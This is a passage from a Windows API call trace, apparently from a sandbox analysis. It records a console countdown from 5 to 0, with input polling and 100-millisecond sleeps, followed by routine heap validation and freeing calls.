timer=0xe73209f458) returned 0x5f3a5658 [0237.602] Sleep (dwMilliseconds=0x64) [0237.712] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.713] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0237.713] Sleep (dwMilliseconds=0x64) [0237.837] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.930] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0237.930] Sleep (dwMilliseconds=0x64) [0238.040] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.042] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0238.042] Sleep (dwMilliseconds=0x64) [0238.151] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.151] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0238.151] Sleep (dwMilliseconds=0x64) [0238.260] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.260] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0238.260] Sleep (dwMilliseconds=0x64) [0238.383] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.386] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0238.386] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 5") returned 4 [0238.386] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0238.388] __iob_func () returned 0x7ff9e83eea00 [0238.388] _fileno (_File=0x7ff9e83eea30) returned 1 [0238.388] _errno () returned 0x2ad3ead0850 [0238.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0238.388] _errno () returned 0x2ad3ead0850 [0238.388] GetFileType (hFile=0x50) returned 0x2 [0238.388] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0238.388] GetFileType (hFile=0x50) returned 0x2 [0238.388] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0238.389] __iob_func () returned 0x7ff9e83eea00 [0238.390] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0238.390] lstrlenW (lpString="\x08\x08 5") returned 4 [0238.390] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0238.391] Sleep (dwMilliseconds=0x64) [0238.500] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.573] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0238.573] Sleep (dwMilliseconds=0x64) [0238.699] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.699] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0238.699] Sleep (dwMilliseconds=0x64) [0238.806] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.808] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0238.808] Sleep (dwMilliseconds=0x64) [0238.915] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0238.917] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0238.917] Sleep (dwMilliseconds=0x64) [0239.041] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0239.042] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0239.042] Sleep (dwMilliseconds=0x64) [0239.168] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0239.169] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5659 [0239.169] Sleep (dwMilliseconds=0x64) [0239.810] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0239.849] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565a [0239.849] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 4") returned 4 [0239.849] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0239.938] __iob_func () returned 0x7ff9e83eea00 [0239.938] _fileno (_File=0x7ff9e83eea30) returned 1 [0239.938] _errno () returned 0x2ad3ead0850 [0239.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0239.938] _errno () returned 0x2ad3ead0850 [0239.938] GetFileType (hFile=0x50) returned 0x2 [0239.939] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0239.939] GetFileType (hFile=0x50) returned 0x2 [0239.939] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0239.941] __iob_func () returned 0x7ff9e83eea00 [0239.941] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0239.941] lstrlenW (lpString="\x08\x08 4") returned 4 [0239.941] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0239.959] Sleep (dwMilliseconds=0x64) [0240.090] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0240.091] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565a [0240.091] Sleep (dwMilliseconds=0x64) [0240.278] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0240.367] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565a [0240.367] Sleep (dwMilliseconds=0x64) [0240.478] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0240.553] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565b [0240.553] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 3") returned 4 [0240.553] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0240.555] __iob_func () returned 0x7ff9e83eea00 [0240.556] _fileno (_File=0x7ff9e83eea30) returned 1 [0240.556] _errno () returned 0x2ad3ead0850 [0240.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0240.556] _errno () returned 0x2ad3ead0850 [0240.556] GetFileType (hFile=0x50) returned 0x2 [0240.556] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0240.556] GetFileType (hFile=0x50) returned 0x2 [0240.556] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0240.557] __iob_func () returned 0x7ff9e83eea00 [0240.557] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0240.557] lstrlenW (lpString="\x08\x08 3") returned 4 [0240.557] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0240.558] Sleep (dwMilliseconds=0x64) [0240.665] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0240.665] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565b [0240.666] Sleep (dwMilliseconds=0x64) [0240.838] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0240.993] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565b [0240.993] Sleep (dwMilliseconds=0x64) [0241.125] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0241.231] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565b [0241.231] Sleep (dwMilliseconds=0x64) [0241.371] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0241.499] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565c [0241.499] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 2") returned 4 [0241.499] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0241.587] __iob_func () returned 0x7ff9e83eea00 [0241.587] _fileno (_File=0x7ff9e83eea30) returned 1 [0241.587] _errno () returned 0x2ad3ead0850 [0241.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0241.587] _errno () returned 0x2ad3ead0850 [0241.587] GetFileType (hFile=0x50) returned 0x2 [0241.587] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0241.587] GetFileType (hFile=0x50) returned 0x2 [0241.587] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0241.625] __iob_func () returned 0x7ff9e83eea00 [0241.625] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0241.625] lstrlenW (lpString="\x08\x08 2") returned 4 [0241.625] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0241.685] Sleep (dwMilliseconds=0x64) [0241.821] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0241.863] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565c [0241.863] Sleep (dwMilliseconds=0x64) [0241.993] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.001] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565c [0242.001] Sleep (dwMilliseconds=0x64) [0242.132] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.228] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565c [0242.228] Sleep (dwMilliseconds=0x64) [0242.337] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.337] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565c [0242.337] Sleep (dwMilliseconds=0x64) [0242.447] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.447] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0242.447] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 1") returned 4 [0242.447] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0242.448] __iob_func () returned 0x7ff9e83eea00 [0242.448] _fileno (_File=0x7ff9e83eea30) returned 1 [0242.448] _errno () returned 0x2ad3ead0850 [0242.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0242.448] _errno () returned 0x2ad3ead0850 [0242.448] GetFileType (hFile=0x50) returned 0x2 [0242.448] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0242.448] GetFileType (hFile=0x50) returned 0x2 [0242.448] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0242.449] __iob_func () returned 0x7ff9e83eea00 [0242.449] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0242.449] lstrlenW (lpString="\x08\x08 1") returned 4 [0242.449] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0242.449] Sleep (dwMilliseconds=0x64) [0242.556] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.557] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0242.557] Sleep (dwMilliseconds=0x64) [0242.665] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.666] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0242.666] Sleep (dwMilliseconds=0x64) [0242.816] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0242.919] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0242.919] Sleep (dwMilliseconds=0x64) [0243.021] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0243.025] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0243.025] Sleep (dwMilliseconds=0x64) [0243.127] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0243.127] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0243.127] Sleep (dwMilliseconds=0x64) [0243.236] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0243.237] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0243.237] Sleep (dwMilliseconds=0x64) [0243.345] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0243.346] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565d [0243.346] Sleep (dwMilliseconds=0x64) [0243.455] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0243.455] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a565e [0243.455] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 0") returned 4 [0243.455] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0243.456] __iob_func () returned 0x7ff9e83eea00 [0243.456] _fileno (_File=0x7ff9e83eea30) returned 1 [0243.456] _errno () returned 0x2ad3ead0850 [0243.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0243.456] _errno () returned 0x2ad3ead0850 [0243.456] GetFileType (hFile=0x50) returned 0x2 [0243.456] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0243.456] GetFileType (hFile=0x50) returned 0x2 [0243.456] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0243.456] __iob_func () returned 0x7ff9e83eea00 [0243.457] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0243.457] lstrlenW (lpString="\x08\x08 0") returned 4 [0243.457] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0243.457] Sleep (dwMilliseconds=0x64) [0243.565] __iob_func () returned 0x7ff9e83eea00 [0243.565] _fileno (_File=0x7ff9e83eea30) returned 1 [0243.565] _errno () returned 0x2ad3ead0850 [0243.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0243.565] _errno () returned 0x2ad3ead0850 [0243.565] GetFileType (hFile=0x50) returned 0x2 [0243.565] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0243.565] GetFileType (hFile=0x50) returned 0x2 [0243.565] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0243.566] __iob_func () returned 0x7ff9e83eea00 [0243.566] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0243.566] lstrlenW (lpString="\n") returned 1 [0243.566] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff78cda6478*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0x7ff78cda6478*, lpNumberOfCharsWritten=0xe73209f420*=0x1) returned 1 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.578] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb8850) returned 1 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.578] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfb8850) returned 0xa0 [0243.578] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb8850 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.578] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1830) returned 1 [0243.578] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1830) returned 0x18 [0243.579] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1830 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeba0) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeba0) returned 0x20 [0243.579] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeba0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc0fe0) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc0fe0) returned 0x6 [0243.579] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc0fe0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1a70) returned 1 [0243.579] GetProcessHeap () returned 0x2ad3cfb0000 [0243.579] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1a70) returned 0x18 [0243.580] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1a70 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbea80) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbea80) returned 0x20 [0243.580] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbea80 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfba350) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfba350) returned 0x208 [0243.580] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfba350 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1b10) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1b10) returned 0x18 [0243.580] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1b10 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb70) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeb70) returned 0x20 [0243.580] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb70 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc5870) returned 1 [0243.580] GetProcessHeap () returned 0x2ad3cfb0000 [0243.580] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc5870) returned 0x200 [0243.581] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc5870 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1870) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1870) returned 0x18 [0243.581] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1870 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbebd0) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbebd0) returned 0x20 [0243.581] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbebd0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc18d0) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, 